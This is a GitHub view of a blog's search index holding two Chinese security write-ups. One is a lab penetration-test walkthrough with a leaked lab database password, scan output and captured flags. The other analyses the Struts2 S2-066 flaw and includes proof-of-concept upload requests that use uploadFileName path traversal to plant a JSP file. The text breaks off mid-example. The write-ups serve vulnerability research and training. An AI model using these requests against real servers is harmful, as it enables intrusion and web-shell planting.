-
Notifications
You must be signed in to change notification settings - Fork 0
/
search.xml
863 lines (411 loc) · 947 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>不知名ST</title>
<link href="/2024/06/16/Bugku-%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%952/"/>
<url>/2024/06/16/Bugku-%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%952/</url>
<content type="html"><![CDATA[<p>口子是 Typecho 1.0/14.10.10 反序列化漏洞</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240616223822723.png" alt="image-20240616223822723"></p><p>拿到根目录第一个 flag</p><p 91715583734f67edae35a4595b9fdac3="">flag</p><p>web 目录下有配置文件的备份,存有数据库信息</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240616224038367.png" alt="image-20240616224038367"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'host'</span> => <span class="string">'localhost'</span>,</span><br><span class="line"> <span class="string">'user'</span> => <span class="string">'cms'</span>,</span><br><span class="line"> <span class="string">'password'</span> => <span class="string">'7aed78676bf27528'</span>,</span><br><span class="line"> <span class="string">'charset'</span> => <span class="string">'utf8'</span>,</span><br><span class="line"> <span class="string">'port'</span> => <span class="string">'3306'</span>,</span><br><span class="line"> <span class="string">'database'</span> => <span class="string">'cms'</span>,</span><br></pre></td></tr></table></figure><p>登录数据库拿到第二个 flag</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240616224207226.png" alt="image-20240616224207226"></p><p 221d6e8a3af61a548c83d9b7fbb60ea2="">flag</p><p>上传 fscan 扫描当前网段</p><p>得到结果</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">192.168</span><span class="number">.0</span><span class="number">.2</span>:<span class="number">3306</span> open</span><br><span class="line"><span class="number">192.168</span><span class="number">.0</span><span class="number">.2</span>:<span class="number">80</span> open</span><br><span class="line"><span class="number">192.168</span><span class="number">.0</span><span class="number">.3</span>:<span class="number">80</span> open</span><br><span class="line"><span class="number">192.168</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">80</span> open</span><br><span class="line"><span class="number">192.168</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">22</span> open</span><br><span class="line">[*] WebTitle http:<span class="comment">//192.168.0.1 code:200 len:3392 title:Harry's Blog</span></span><br><span class="line">[*] WebTitle http:<span class="comment">//192.168.0.2 code:200 len:3392 title:Harry's Blog</span></span><br><span class="line">[+] mysql <span class="number">192.168</span><span class="number">.0</span><span class="number">.2</span>:<span class="number">3306</span>:root </span><br><span class="line">[*] WebTitle http:<span class="comment">//192.168.0.3 code:200 len:4789 title:Bugku后台管理系统</span></span><br></pre></td></tr></table></figure><p>上 frp</p><p>到这里有备份源码,但是到这里一动就卡死,为了不耽误时间 (懒),直接往下打了</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240616233613711.png" alt="image-20240616233613711"></p><p>log4 拿到 shell</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240616235105866.png" alt="image-20240616235105866"></p><p>拿下三个 flag</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240616235329473.png" alt="image-20240616235329473"></p><p 4047947872cfc49a32edec89778e04fb="">FLAG3=flag{7be5f76b1ccdb8c3326b21be543f62dc}<br>FLAG5=flag{98e1c8c214c041aad90185bca13ddb1b}<br>FLAG4=flag</p><p>新的网段</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240617000207873.png" alt="image-20240617000207873"></p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">./fscan -h <span class="number">192.168</span><span class="number">.1</span><span class="number">.2</span>/<span class="number">24</span></span><br><span class="line"></span><br><span class="line"> ___ _ </span><br><span class="line"> / _ \ ___ ___ _ __ __ _ ___| | __ </span><br><span class="line"> / /_\/____/ __|/ __| <span class="string">'__/ _` |/ __| |/ /</span></span><br><span class="line"><span class="string">/ /_\\_____\__ \ (__| | | (_| | (__| < </span></span><br><span class="line"><span class="string">\____/ |___/\___|_| \__,_|\___|_|\_\ </span></span><br><span class="line"><span class="string"> fscan version: 1.8.4</span></span><br><span class="line"><span class="string">start infoscan</span></span><br><span class="line"><span class="string">(icmp) Target 192.168.1.2 is alive</span></span><br><span class="line"><span class="string">(icmp) Target 192.168.1.1 is alive</span></span><br><span class="line"><span class="string">(icmp) Target 192.168.1.3 is alive</span></span><br><span class="line"><span class="string">[*] Icmp alive hosts len is: 3</span></span><br><span class="line"><span class="string">192.168.1.3:80 open</span></span><br><span class="line"><span class="string">192.168.1.1:80 open</span></span><br><span class="line"><span class="string">192.168.1.2:80 open</span></span><br><span class="line"><span class="string">192.168.1.1:22 open</span></span><br><span class="line"><span class="string">[*] alive ports len is: 4</span></span><br><span class="line"><span class="string">start vulscan</span></span><br><span class="line"><span class="string">[*] WebTitle http://192.168.1.2 code:200 len:4789 title:Bugku后台管理系统</span></span><br><span class="line"><span class="string">[*] WebTitle http://192.168.1.3 code:200 len:524 title:乙公司Git仓库</span></span><br><span class="line"><span class="string">[*] WebTitle http://192.168.1.1 code:200 len:3392 title:Harry'</span>s Blog</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240617001236756.png" alt="image-20240617001236756"></p><p>git 一个木马到本地</p><p>根目录下得到 flag</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240617001222018.png" alt="image-20240617001222018"></p><p 2632b63fc888a9e143e0689a2dfc29c9="">flag</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240617001710628.png" alt="image-20240617001710628"></p><p>emm</p><p>最后还差 10 机器上 ftp 的两个 flag</p><p>不打了 md**</p>]]></content>
<tags>
<tag> 渗透 </tag>
<tag> RedTeam </tag>
</tags>
</entry>
<entry>
<title>S2-066分析</title>
<link href="/2023/12/11/S2-066%E5%88%86%E6%9E%90/"/>
<url>/2023/12/11/S2-066%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h2 id="漏洞描述"><a class="markdownIt-Anchor" href="#漏洞描述">#</a> 漏洞描述</h2><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211095248309.png" alt="image-20231211095248309"></p><h2 id="影响版本"><a class="markdownIt-Anchor" href="#影响版本">#</a> 影响版本</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">2.5</span><span class="number">.0</span> <= Struts <= <span class="number">2.5</span><span class="number">.32</span></span><br><span class="line"><span class="number">6.0</span><span class="number">.0</span> <= Struts <= <span class="number">6.3</span><span class="number">.0</span></span><br></pre></td></tr></table></figure><h2 id="修复版本"><a class="markdownIt-Anchor" href="#修复版本">#</a> 修复版本</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Apache Struts2 >= <span class="number">2.5</span><span class="number">.33</span></span><br><span class="line">Apache Struts2 >= <span class="number">6.3</span><span class="number">.0</span><span class="number">.2</span></span><br></pre></td></tr></table></figure><h2 id="环境搭建"><a class="markdownIt-Anchor" href="#环境搭建">#</a> 环境搭建</h2><p>测试版本</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><dependency></span><br><span class="line"> <groupId>org.apache.struts</groupId></span><br><span class="line"> <artifactId>struts2-core</artifactId></span><br><span class="line"> <version><span class="number">6.3</span><span class="number">.0</span></version></span><br><span class="line"></dependency></span><br></pre></td></tr></table></figure><p>百度网盘</p><h2 id="漏洞分析"><a class="markdownIt-Anchor" href="#漏洞分析">#</a> 漏洞分析</h2><p>首先看下官方修复的代码</p><p><a href="https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163">https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163</a></p><p>这里可以看到有几处都讲参数转换为小写,漏洞应该和这个有关系</p><p>我们先上传一个文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /S2_066_war_exploded/upload.action HTTP/1.1</span><br><span class="line">Host: localhost:8080</span><br><span class="line">Accept: */*</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Content-Length: 248</span><br><span class="line">Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36</span><br><span class="line"></span><br><span class="line">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span><br><span class="line">Content-Disposition: form-data; name="Upload"; filename="../1.txt"</span><br><span class="line">Content-Type: text/plain</span><br><span class="line"></span><br><span class="line">This is test</span><br><span class="line">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211145549898.png" alt="image-20231211145549898"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211145930148.png" alt="image-20231211145930148"></p><p>打上断点看下流程</p><p>在 org.apache.struts2.interceptor.FileUploadInterceptor#intercept 中</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211151544422.png" alt="image-20231211151544422"></p><p>这里通过 multiWrapper.getFileNames 方法,对 wrapper 封装的 request 对象以及 inputname 来获取到 filename</p><p>通过数组加载进 accept 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211154023490.png" alt="image-20231211154023490"></p><p>然后判断不为空开始遍历 accept,将其加载进参数</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211161357489.png" alt="image-20231211161357489"></p><p>再来看 strut 是如何处理文件名的</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211163356689.png" alt="image-20231211163356689"></p><p>大概理解下代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> String <span class="title function_">getCanonicalName</span><span class="params">(<span class="keyword">final</span> String originalFileName)</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> originalFileName;</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> <span class="variable">forwardSlash</span> <span class="operator">=</span> fileName.lastIndexOf(<span class="string">'/'</span>);</span><br><span class="line"> <span class="type">int</span> <span class="variable">backwardSlash</span> <span class="operator">=</span> fileName.lastIndexOf(<span class="string">'\\'</span>);</span><br><span class="line"> <span class="keyword">if</span> (forwardSlash != -<span class="number">1</span> && forwardSlash > backwardSlash) {</span><br><span class="line"> fileName = fileName.substring(forwardSlash + <span class="number">1</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> fileName = fileName.substring(backwardSlash + <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> fileName;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>匹配最后一个 / 的位置</p><p>在本例中则为 2,也就是 forwardSlash</p><p>而…/1.txt 中没有 \\</p><p>所以 backwardSlash 为 - 1</p><p>所以 if 条件满足</p><p>执行 fileName = fileName.substring (forwardSlash + 1);</p><p>赋值新的 filename,也就是 / 后面的内容,也就是请求的文件 1.txt</p><p>最终返回</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211164346848.png" alt="image-20231211164346848"></p><p>并 set 存储到上传对象中</p><p>这段代码也就是拦截了路径穿越</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211171719991.png" alt="image-20231211171719991"></p><p>以上上传文件的对象最终会保存到 HttpParameter 参数中</p><p>所以看下是不是可以变量覆盖</p><p>其实刚出的时候看过官方的 commit,看到修改了几个小写</p><p>我想到的就是大小写绕过,但是不可能这么简单,就在想是不是什么地方或者是什么加载器也加载了文件和文件内容,导致文件上传。</p><p>先来看看上下文对象获取的大概流程</p><p>上下文是从 ac.getParameters () 获取的</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211175525092.png" alt="image-20231211175525092"></p><p>一直跟进到 ActionContext 下的 get 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211175927070.png" alt="image-20231211175927070"></p><p>下面就是找上下文的创建,在 org.apache.struts2.dispatcher.Dispatcher#serviceAction</p><p>这里获取上下文是 map 结构存储,key 唯一</p><p>那这里就不太可能存在变量覆盖</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211180829481.png" alt="image-20231211180829481"></p><p>然后再看会不会是参数绑定</p><p>在 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211195921775.png" alt="image-20231211195921775"></p><p>这里参数绑定会经过三个</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">params.entrySet()</span><br><span class="line">parameters.entrySet()</span><br><span class="line">acceptableParameters.entrySet()</span><br></pre></td></tr></table></figure><p>其中 params 和 parameters 都是通过 HttpParamteters 对象加载上传文件和类型,内容</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211201631821.png" alt="image-20231211201631821"></p><p>而 acceptableParameters 是通过 TreeMap 加载的</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211201808865.png" alt="image-20231211201808865"></p><p>但是这个加载是有顺序的</p><p>通过代码测试</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.util.TreeMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="comment">// 创建一个TreeMap对象</span></span><br><span class="line"> TreeMap<Object, Object> objectObjectTreeMap = <span class="keyword">new</span> <span class="title class_">TreeMap</span><>();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 向TreeMap中添加两个键值对</span></span><br><span class="line"> objectObjectTreeMap.put(<span class="string">"a"</span>, <span class="string">"1"</span>);</span><br><span class="line"> objectObjectTreeMap.put(<span class="string">"A"</span>, <span class="string">"1"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 打印TreeMap对象</span></span><br><span class="line"> System.out.println(objectObjectTreeMap);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211201017453.png" alt="image-20231211201017453"></p><p>可以看到会优先大写的</p><p>这里直接跟着 Y4 爷的步伐。。。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">POST /upload.action HTTP/<span class="number">1.1</span></span><br><span class="line">Host: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">Accept: *<span class="comment">/*</span></span><br><span class="line"><span class="comment">Content-Length: 188</span></span><br><span class="line"><span class="comment">Content-Type: multipart/form-data; boundary=------------------------</span></span><br><span class="line"><span class="comment">xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36</span></span><br><span class="line"><span class="comment">(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36</span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">Content-Disposition: form-data; name="Upload"; filename="1.txt"</span></span><br><span class="line"><span class="comment">Content-Type: text/plain</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">1aaa</span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">Content-Disposition: form-data; name="UPloadFileName";</span></span><br><span class="line"><span class="comment">Content-Type: text/plain</span></span><br><span class="line"><span class="comment">1323.jsp</span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--</span></span><br></pre></td></tr></table></figure><p>在 ognl.OgnlRuntime#_getSetMethod 获取 setter ⽅法时调⽤了 ognl.OgnlRuntime#getDeclaredMethods 做处理</p><p>这里了遍历方法名,加载到 set 方法,setUpload</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211213047462.png" alt="image-20231211213047462"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211214207202.png" alt="image-20231211214207202"></p><p>得到值为 1,也就是 public 修饰符</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211213810889.png" alt="image-20231211213810889"></p><p>后去就是 m 的值赋给新的成员变量,到达 result 返回</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211214418882.png" alt="image-20231211214418882"></p><p>最终通过_getSetMethod 返回 method</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211214607186.png" alt="image-20231211214607186"></p><p>中间就都是一些类的处理,不是很重要</p><p>我们直接看 addIfAccessor 方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">addIfAccessor</span><span class="params">(List result, Method method, String baseName, <span class="type">boolean</span> findSets)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">ms</span> <span class="operator">=</span> method.getName();</span><br><span class="line"> <span class="keyword">if</span> (ms.endsWith(baseName)) {</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">isSet</span> <span class="operator">=</span> <span class="literal">false</span>, isIs = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">if</span> ((isSet = ms.startsWith(SET_PREFIX)) || ms.startsWith(GET_PREFIX)</span><br><span class="line"> || (isIs = ms.startsWith(IS_PREFIX))) {</span><br><span class="line"> <span class="type">int</span> <span class="variable">prefixLength</span> <span class="operator">=</span> (isIs ? <span class="number">2</span> : <span class="number">3</span>);</span><br><span class="line"> <span class="keyword">if</span> (isSet == findSets) {</span><br><span class="line"> <span class="keyword">if</span> (baseName.length() == (ms.length() - prefixLength)) {</span><br><span class="line"> result.add(method);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>大概梳理下逻辑</p><p>首先检查方法名是否是以’baseName’结尾</p><p>如果是,进一步检查是否以几个前缀开始的</p><p>如果是 is 开头长度为 2,不是则为 3</p><p>如果和要找的设置器响度相等,就比较 ms 方法减去前缀,其实也就是 baseName 的方法名,如果一致,就添加到 result 中</p><p>其中关于 baseName,我们来看下 getDeclaredMethods</p><p>其中这部分</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">baseName</span> <span class="operator">=</span> capitalizeBeanPropertyName(propertyName);</span><br><span class="line"> result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line"> collectAccessors(targetClass, baseName, result, findSets);</span><br></pre></td></tr></table></figure><p>经过 capitalizeBeanPropertyName 方法处理后得到 baseName</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span> <span class="variable">first</span> <span class="operator">=</span> propertyName.charAt(<span class="number">0</span>);</span><br><span class="line"> <span class="type">char</span> <span class="variable">second</span> <span class="operator">=</span> propertyName.charAt(<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (Character.isLowerCase(first) && Character.isUpperCase(second)) {</span><br><span class="line"> <span class="keyword">return</span> propertyName;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="type">char</span>[] chars = propertyName.toCharArray();</span><br><span class="line"> chars[<span class="number">0</span>] = Character.toUpperCase(chars[<span class="number">0</span>]);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(chars);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>简单描述下就是,如果传过来的 baseName,首字母是小写的,第二个字母是大写的,直接返回</p><p>否则就大写第一个字母返回</p><p>又因为我们要触发的是 com.struts2.UploadAction#setUploadFileName</p><p>其中 baseName 也就是 UploadFileName</p><p>那就只能写成 UploadFileName 或者是 uploadFileName</p><p>poc1:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">POST /S2_066_war_exploded/upload.action HTTP/<span class="number">1.1</span></span><br><span class="line">Host: localhost:<span class="number">8080</span></span><br><span class="line">Accept: *<span class="comment">/*</span></span><br><span class="line"><span class="comment">Accept-Encoding: gzip, deflate</span></span><br><span class="line"><span class="comment">Content-Length: 406</span></span><br><span class="line"><span class="comment">Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">Content-Disposition: form-data; name="Upload"; filename="1.txt"</span></span><br><span class="line"><span class="comment">Content-Type: text/plain</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">This is test</span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN</span></span><br><span class="line"><span class="comment">Content-Disposition: form-data; name="uploadFileName"</span></span><br><span class="line"><span class="comment">Content-Type: text/plain</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">../123.jsp</span></span><br><span class="line"><span class="comment">--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211205052719.png" alt="image-20231211205052719"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231211205122110.png" alt="image-20231211205122110"></p><p>poc2:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 